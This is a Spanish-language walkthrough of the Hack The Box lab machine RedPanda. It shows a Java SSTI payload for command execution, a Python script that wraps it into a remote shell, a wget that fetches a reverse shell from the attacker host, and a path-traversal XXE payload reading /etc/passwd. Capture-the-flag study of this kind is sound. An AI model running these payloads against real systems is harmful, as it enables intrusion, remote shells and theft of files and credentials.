This page looks best with JavaScript enabled

Hack The Box - RedPanda

 •  ✍️ sckull

En RedPanda descubrimos una vulnerabilidad SSTI en Java, en el sitio web, lo que nos permitió ejecutar comandos en la máquina. Las credenciales de la conexión de la base de datos nos permitieron acceder por SSH. Finalmente explotamos una vulnerabilidad de tipo XXE para realizar lectura de archivos y escalar privilegios.

Nombre RedPanda box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.170
Maker

Woodenk

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.2, 4.9, 4.6, 5.4, 5.1],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (8080) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# Nmap 7.92 scan initiated Sat Jul 16 19:14:23 2022 as: nmap -p22,8080 -sV -sC -oN nmap_scan 10.10.11.170
Nmap scan report for 10.10.11.170 (10.10.11.170)
Host is up (0.11s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200
|     Content-Type: text/html;charset=UTF-8
|     Content-Language: en-US
|     Date: Sat, 16 Jul 2022 23:14:30 GMT
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en" dir="ltr">
|     <head>
|     <meta charset="utf-8">
|     <meta author="wooden_k">
|     <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
|     <link rel="stylesheet" href="css/panda.css" type="text/css">
|     <link rel="stylesheet" href="css/main.css" type="text/css">
|     <title>Red Panda Search | Made with Spring Boot</title>
|     </head>
|     <body>
|     <div class='pande'>
|     <div class='ear left'></div>
|     <div class='ear right'></div>
|     <div class='whiskers left'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='whiskers right'>
|     <span></span>
|     <span></span>
|     <span></span>
|     </div>
|     <div class='face'>
|     <div class='eye
|   HTTPOptions:
|     HTTP/1.1 200
|     Allow: GET,HEAD,OPTIONS
|     Content-Length: 0
|     Date: Sat, 16 Jul 2022 23:14:30 GMT
|     Connection: close
[.. snip ..]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 16 19:14:45 2022 -- 1 IP address (1 host up) scanned in 22.47 seconds

Web Site

El sitio web no presenta información en los headers, sin embargo nmap muestra en el titulo “Made with Spring Boot”, por lo que quizas esté utilizando el Framework en Java Spring.

1
2
3
4
5
6
7
8
 π ~/htb/redpanda ❯ curl -sI 10.10.11.170:8080
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 1543
Date: Sat, 16 Jul 2022 23:14:59 GMT

 π ~/htb/redpanda ❯

El sitio unicamente muestra un formulario de busqueda.

image

Tras realizar una pequeña busqueda observamos, pandas, y un enlace del autor.

image

Observamos imagenes del autor y el numero de visitas por imagen.

image

Tras presionar “Export Table” se descarga un archivo xml, con la información que se muestra en la página por autor.

image

La página de autor unicamente acepta los nombres de woodenk y damian.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="UTF-8"?>
<credits>
  <author>woodenk</author>
  <image>
    <uri>/img/greg.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/hungy.jpg</uri>
    <views>0</views>
  </image>
  <image>
    <uri>/img/smooch.jpg</uri>
    <views>1</views>
  </image>
  <image>
    <uri>/img/smiley.jpg</uri>
    <views>0</views>
  </image>
  <totalviews>2</totalviews>
</credits>

Directory Brute Forcing

feroxbuster nos muestra las direcciones de páginas que encontramos en el sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 π ~/htb/redpanda ❯ feroxbuster -u http://10.10.11.170:8080/ --depth 1 -x php,html,xml

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.11.170:8080/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.7.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, html, xml]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200      GET       55l      119w        0c http://10.10.11.170:8080/
200      GET       32l       97w        0c http://10.10.11.170:8080/stats
405      GET        1l        3w        0c http://10.10.11.170:8080/search
500      GET        1l        1w        0c http://10.10.11.170:8080/error
200      GET        2l        4w       38c http://10.10.11.170:8080/export.xml

SSTI - Java

Al considerar la tecnologia como Spring intentamos identificar alguna vulnerabilidad SSTI con los payloads que se mencionan en hacktricks utilizando Intruder de BurpSuite. Observamos que se muestra el resultado de #{7*7}.

image

Además descubrimos que el caracter $ no es aceptado. Sin embargo la mayoria de payloads (1, 2) utilizan el simbolo $.

image

Un post de Thymeleaf (un motor de plantillas en java) presenta distintos tipos de expresiones. Observando la documentacion nos topamos con distintos ejemplos.

1
2
3
4
5
${...}: Variable expressions – in practice, these are OGNL or Spring EL expressions.
*{...}: Selection expressions – similar to variable expressions but used for specific purposes.
#{...}: Message (i18n) expressions – used for internationalization.
@{...}: Link (URL) expressions – used to set correct URLs/paths in the application.
~{...}: Fragment expressions – they let you reuse parts of templates.

Nuevamente, utilizando estas expresiones para intentar realizar una operación matematica. Eliminando el caracter $ que, como sabemos no es aceptado.

1
2
3
4
*{7*7}
#{7*7}
@{7*7}
~{7*7}

Tanto el caracter * y @ son aceptados y muestran el resultado de la operación. Además encontramos que el caracter ~ no es aceptado.

image

Utilizando el caracter * logramos obtener las variables de la máquina.

1
*{T(java.lang.System).getenv()}

image

Utilizando un payload de java para ejecutar comandos observamos el resultado en el sitio.

1
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

User - Woodenk

Creamos un pequeño script en python para poder ejecutar comandos en la máquina utilizando el payload anterior.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3
import requests
import readline
from bs4 import BeautifulSoup

URL = "http://10.10.11.170:8080/search"
headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}

try:
    while True:
      cmd = input("$> ")
      payload = 'name=*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("' + cmd + '").getInputStream())}'
      r = requests.post(URL, data = payload, headers = headers)
      soup = BeautifulSoup(r.text, 'lxml')
      search = soup.find_all("h2", {'class':'searched'})[0].get_text()[17:]
      print(search)
except KeyboardInterrupt:
    print('\nCtrl+C')
    exit(0)

LogParser

Enumerando los directorios encontramos el codigo fuente de LogParser en /opt, sin embargo no encontramos algun proceso que este relacionado a esta aplicación.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
$> ls -lah /opt/credit-score/LogParser/final/src/main/java/com/logparser
total 12K
drwxrwxr-x 2 root root 4.0K Jun 20 16:29 .
drwxrwxr-x 3 root root 4.0K Jun 14 14:35 ..
-rw-rw-r-- 1 root root 3.7K Jun 20 15:43 App.java

$> cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
package com.logparser;
import java.io.BufferedWriter;
[.. snip ..]

public class App {
[.. PESTAÑA 2 ..]
}

$>
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;

import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);


        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);

        Document doc = saxBuilder.build(fd);

        Element rootElement = doc.getRootElement();

        for(Element el: rootElement.getChildren())
        {


            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}

Shell

Descubrimos que los caracteres * y _ no son aceptados por nuestro payload por alguna razon. Por lo que ejecutamos shells, ejecutando netcat y la shell inversa en la máquina.

1
2
3
$> wget 10.10.14.207:8080/10.10.14.207:1335 -O /tmp/shell

$> bash /tmp/shell

Con ello obtuvimos una shell como woodenk y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/redpanda ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from 10.10.11.170 [10.10.11.170] 57860
/bin/sh: 0: can't access tty; job control turned off
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
woodenk@redpanda:/tmp/hsperfdata_woodenk$ whoami;id
woodenk
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/tmp/hsperfdata_woodenk$ cd
woodenk@redpanda:~$ ls
user.txt
woodenk@redpanda:~$ cat user.txt
b2d88c9c27ab73dc1aa6c465e779919a
woodenk@redpanda:~$

Shell SSH

En el directorio /opt/panda_search encontramos el codigo fuente (Pestaña 2) de la aplicación web, en esta observamos las credenciales de la base de datos MySQL.

1
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
<h/src/main/java/com/panda_search/htb/panda_search$ ls
MainController.java  PandaSearchApplication.java  RequestInterceptor.java
<h/src/main/java/com/panda_search/htb/panda_search$
<h/src/main/java/com/panda_search/htb/panda_search$ cat MainController.java
package com.panda_search.htb.panda_search;

import java.util.ArrayList;
import java.io.IOException;
import java.sql.*;
import java.util.List;
import java.util.ArrayList;
import java.io.File;
import java.io.InputStream;
import java.io.FileInputStream;

import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.http.MediaType;

import org.apache.commons.io.IOUtils;

import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;

@Controller
public class MainController {
  @GetMapping("/stats")
    public ModelAndView stats(@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{
    SAXBuilder saxBuilder = new SAXBuilder();
    if(author == null)
    author = "N/A";
    author = author.strip();
    System.out.println('"' + author + '"');
    if(author.equals("woodenk") || author.equals("damian"))
    {
      String path = "/credits/" + author + "_creds.xml";
      File fd = new File(path);
      Document doc = saxBuilder.build(fd);
      Element rootElement = doc.getRootElement();
      String totalviews = rootElement.getChildText("totalviews");
            List<Element> images = rootElement.getChildren("image");
      for(Element image: images)
        System.out.println(image.getChildText("uri"));
      model.addAttribute("noAuthor", false);
      model.addAttribute("author", author);
      model.addAttribute("totalviews", totalviews);
      model.addAttribute("images", images);
      return new ModelAndView("stats.html");
    }
    else
    {
      model.addAttribute("noAuthor", true);
      return new ModelAndView("stats.html");
    }
  }
  @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
  public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {

    System.out.println("Exporting xml of: " + author);
    if(author.equals("woodenk") || author.equals("damian"))
    {
      InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
      System.out.println(in);
      return IOUtils.toByteArray(in);
    }
    else
    {
      return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
    }
  }
  @PostMapping("/search")
  public ModelAndView search(@RequestParam("name") String name, Model model) {
  if(name.isEmpty())
  {
    name = "Greg";
  }
        String query = filter(name);
  ArrayList pandas = searchPanda(query);
        System.out.println("\n\""+query+"\"\n");
        model.addAttribute("query", query);
  model.addAttribute("pandas", pandas);
  model.addAttribute("n", pandas.size());
  return new ModelAndView("search.html");
  }
  public String filter(String arg) {
        String[] no_no_words = {"%", "_","$", "~", };
        for (String word : no_no_words) {
            if(arg.contains(word)){
                return "Error occured: banned characters";
            }
        }
        return arg;
    }
    public ArrayList searchPanda(String query) {

        Connection conn = null;
        PreparedStatement stmt = null;
        ArrayList<ArrayList> pandas = new ArrayList();
        try {
            Class.forName("com.mysql.cj.jdbc.Driver");
            conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
            stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
            stmt.setString(1, "%" + query + "%");
            ResultSet rs = stmt.executeQuery();
            while(rs.next()){
                ArrayList<String> panda = new ArrayList<String>();
                panda.add(rs.getString("name"));
                panda.add(rs.getString("bio"));
                panda.add(rs.getString("imgloc"));
    panda.add(rs.getString("author"));
                pandas.add(panda);
            }
        }catch(Exception e){ System.out.println(e);}
        return pandas;
    }
}
<h/src/main/java/com/panda_search/htb/panda_search$

Utilizando estas credenciales logramos acceder por SSH. Algo muy interesante de mencionar es que, en SSH no tenemos asignado el grupo logs, a diferencia de nuestra shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/redpanda ❯ ssh woodenk@10.10.11.170 # RedPandazRule
woodenk@10.10.11.170's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 18 Jul 2022 05:28:32 AM UTC

  System load:  0.08              Processes:             222
  Usage of /:   80.5% of 4.30GB   Users logged in:       0
  Memory usage: 41%               IPv4 address for eth0: 10.10.11.170
  Swap usage:   0%


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Jul  5 05:51:25 2022 from 10.10.14.23
woodenk@redpanda:~$ whoami;id
woodenk
uid=1000(woodenk) gid=1000(woodenk) groups=1000(woodenk)
woodenk@redpanda:~$

Si observamos los procesos, root ejecuta la aplicación web asignando el grupo logs a este proceso, por tal razon solo en la shell inversa se asigna este grupo.

1
2
3
4
5
woodenk@redpanda:~$ ps -ef | grep logs
root         884     880  0 02:54 ?        00:00:00 /bin/sh -c sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
root         885     884  0 02:54 ?        00:00:00 sudo -u woodenk -g logs java -jar /opt/panda_search/target/panda_search-0.0.1-SNAPSHOT.jar
woodenk     3552    3500  0 05:30 pts/3    00:00:00 grep --color=auto logs
woodenk@redpanda:~$

Se muestran los directorios y archivos a los cuales el grupo logs tiene acceso.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
woodenk@redpanda:~$ find / -group logs 2>/dev/null | grep -v home | grep -v proc
/opt/panda_search/redpanda.log
/tmp/tomcat-docbase.8080.15111930775947992796
/tmp/hsperfdata_woodenk
/tmp/hsperfdata_woodenk/901
/tmp/shell
/tmp/tomcat.8080.3144393524989236446
/tmp/tomcat.8080.3144393524989236446/work
/tmp/tomcat.8080.3144393524989236446/work/Tomcat
/tmp/tomcat.8080.3144393524989236446/work/Tomcat/localhost
/tmp/tomcat.8080.3144393524989236446/work/Tomcat/localhost/ROOT
/credits
woodenk@redpanda:~$

Privesc

Ejecutamos pspy, encontramos dos cronjobs, uno realiza la limpieza de imagenes y archivos xml, otro ejecuta un archivo .jar.

1
2
3
4
5
6
7
8
9
2022/07/18 05:50:01 CMD: UID=1000 PID=3837   | /bin/bash /opt/cleanup.sh
2022/07/18 05:50:01 CMD: UID=1000 PID=3848   | /usr/bin/find /tmp -name *.jpg -exec rm -rf {} ;
2022/07/18 05:50:01 CMD: UID=1000 PID=3849   | /usr/bin/find /var/tmp -name *.jpg -exec rm -rf {} ;
2022/07/18 05:50:01 CMD: UID=1000 PID=3850   | /usr/bin/find /dev/shm -name *.jpg -exec rm -rf {} ;
2022/07/18 05:50:01 CMD: UID=1000 PID=3851   | /usr/bin/find /home/woodenk -name *.jpg -exec rm -rf {} ;
2022/07/18 05:52:01 CMD: UID=0    PID=3854   | /usr/sbin/CRON -f
2022/07/18 05:52:01 CMD: UID=0    PID=3855   | /bin/sh -c /root/run_credits.sh
2022/07/18 05:52:01 CMD: UID=0    PID=3856   | /bin/sh /root/run_credits.sh
2022/07/18 05:52:01 CMD: UID=0    PID=3857   | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar

XXE LogParser

En el directorio del .jar vemos el codigo que ya habiamos encontrado anteriormente: App.java.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public class App {
    public static Map parseLog(String line) {
        String[] strings = line.split("\\|\\|");
        Map map = new HashMap<>();
        map.put("status_code", Integer.parseInt(strings[0]));
        map.put("ip", strings[1]);
        map.put("user_agent", strings[2]);
        map.put("uri", strings[3]);


        return map;
    }
    public static boolean isImage(String filename){
        if(filename.contains(".jpg"))
        {
            return true;
        }
        return false;
    }
    public static String getArtist(String uri) throws IOException, JpegProcessingException
    {
        String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
        File jpgFile = new File(fullpath);
        Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
        for(Directory dir : metadata.getDirectories())
        {
            for(Tag tag : dir.getTags())
            {
                if(tag.getTagName() == "Artist")
                {
                    return tag.getDescription();
                }
            }
        }

        return "N/A";
    }
    public static void addViewTo(String path, String uri) throws JDOMException, IOException
    {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);

        Document doc = saxBuilder.build(fd);

        Element rootElement = doc.getRootElement();

        for(Element el: rootElement.getChildren())
        {


            if(el.getName() == "image")
            {
                if(el.getChild("uri").getText().equals(uri))
                {
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }
    public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }
}

El programa inicia obteniendo información del archivo redpanda.log (parseLog()), archivo que contiene las solicitudes hechas a la aplicación web, unicamente obtiene el path del archivo. Si el archivo obtenido es una imagen (isImage()), obtiene el tag “Artist” de los metadatos de la imagen (getArtist()), utiliza este ultimo para crear un path y nombre de un archivo xml (/credits/<artist>_creds.xml). Finalmente utiliza la funcion addViewTo() con el path del archivo xml y el path de la imagen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
        File log_fd = new File("/opt/panda_search/redpanda.log");
        Scanner log_reader = new Scanner(log_fd);
        while(log_reader.hasNextLine())
        {
            String line = log_reader.nextLine();
            if(!isImage(line))
            {
                continue;
            }
            Map parsed_data = parseLog(line);
            System.out.println(parsed_data.get("uri"));
            String artist = getArtist(parsed_data.get("uri").toString());
            System.out.println("Artist: " + artist);
            String xmlPath = "/credits/" + artist + "_creds.xml";
            addViewTo(xmlPath, parsed_data.get("uri").toString());
        }

    }

addViewTo() obtiene el total de vistas información que se muestra en el Export Table del sitio, utiliza SAXBuilder una libreria que permite manejar archivos XML, OWASP menciona como prevenir XXE, sin embargo en el codigo no es aplicado, por lo que al realizar la lectura del archivo se podría explotar esta vulnerabilidad y el resultado se vería reflejado en el mismo archivo XML (xmlOutput.output()).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void addViewTo(String path, String uri) throws JDOMException, IOException {
        SAXBuilder saxBuilder = new SAXBuilder();
        XMLOutputter xmlOutput = new XMLOutputter();
        xmlOutput.setFormat(Format.getPrettyFormat());

        File fd = new File(path);

        Document doc = saxBuilder.build(fd);

        Element rootElement = doc.getRootElement();

        for(Element el: rootElement.getChildren()){
            if(el.getName() == "image"){
                if(el.getChild("uri").getText().equals(uri)){
                    Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
                    System.out.println("Total views:" + Integer.toString(totalviews));
                    rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
                    Integer views = Integer.parseInt(el.getChild("views").getText());
                    el.getChild("views").setText(Integer.toString(views + 1));
                }
            }
        }
        BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
        xmlOutput.output(doc, writer);
    }

Exploit XXE

Tag Artist - Imagen

Para explotar esta vulnerabilidad primero, debemos de modificar el tag Artist de los metadatos de una imagen, ya que es donde se obtiene el nombre del artista para el archivo xml a crear ("/credits/" + artist + "_creds.xml"), aunque en el directorio donde se crean los archivos xml no es posible modificar o crear alguno.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
woodenk@redpanda:/credits$ id
uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
woodenk@redpanda:/credits$
woodenk@redpanda:/credits$ ls -lah
total 16K
drw-r-x---  2 root logs 4.0K Jun 21 12:32 .
drwxr-xr-x 20 root root 4.0K Jun 23 14:52 ..
-rw-r-----  1 root logs  422 Jul 18 21:42 damian_creds.xml
-rw-r-----  1 root logs  426 Jul 18 21:38 woodenk_creds.xml
woodenk@redpanda:/credits$ touch file.xml
touch: cannot touch 'file.xml': Permission denied
woodenk@redpanda:/credits$

Es por ello que utilizamos ../ para modificar el path del archivo. En este caso crearía el archivo xml /home/woodenk/file_creds.xml.

1
2
3
4
5
6
 π ~/htb/redpanda/www ❯ exiftool -Artist="../home/woodenk/file" greg.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - greg.jpg
    1 image files updated
 π ~/htb/redpanda/www ❯ exiftool greg.jpg|grep Artist
Artist                          : ../home/woodenk/file
 π ~/htb/redpanda/www ❯

Finalmente se movemos esta imagen al directorio de woodenk, /home/woodenk/greg.jpg.

Archivo Log

Modificamos el archivo redpanda.log, esto lo hacemos mediante la reverse shell del sitio web ya que para modificar este archivo necesitamos pertenecer al grupo logs o ser usuario root. Sin embargo el path para las imagenes ya está definido y la mayoria de estas tienen un path /img/<nombre>.jpg por lo que el path completo sería /opt/panda_search/src/main/resources/static/img/<nombr>.jpg y el unico con acceso a este directorio es el usuario root.

1
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;

De la misma forma que en la imagen “subimos” varios directorios con ../ hasta la raiz y escribimos el path completo de nuestra imagen, agregamos el path de la imagen que modificamos anteriormente.

1
200||127.0.0.1||User-Agent sckull 13.37 ||/../../../../../../home/woodenk/greg.jpg

Finalmente lo añadimos al archivo log.

1
2
3
4
5
6
7
woodenk@redpanda:~$ echo "200||127.0.0.1||User-Agent sckull 13.37 ||/../../../../../../home/woodenk/greg.jpg" >> /opt/panda_search/redpanda.log
<woodenk/greg.jpg" >> /opt/panda_search/redpanda.log
woodenk@redpanda:~$ tail /opt/panda_search/redpanda.log
[.. snip ..]
200||10.10.16.21||python-requests/2.27.1||/search
200||127.0.0.1||User-Agent sckull 13.37 ||/../../../../../../home/woodenk/greg.jpg
woodenk@redpanda:~$

Archivo XML

Con esto solo faltaría crear el archivo /home/woodenk/file_creds.xml, en este agregamos un payload de XXE para la lectura del archivo /etc/passwd.

1
<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

Con ello tendríamos lo necesario para explotar XXE.

1
2
3
4
5
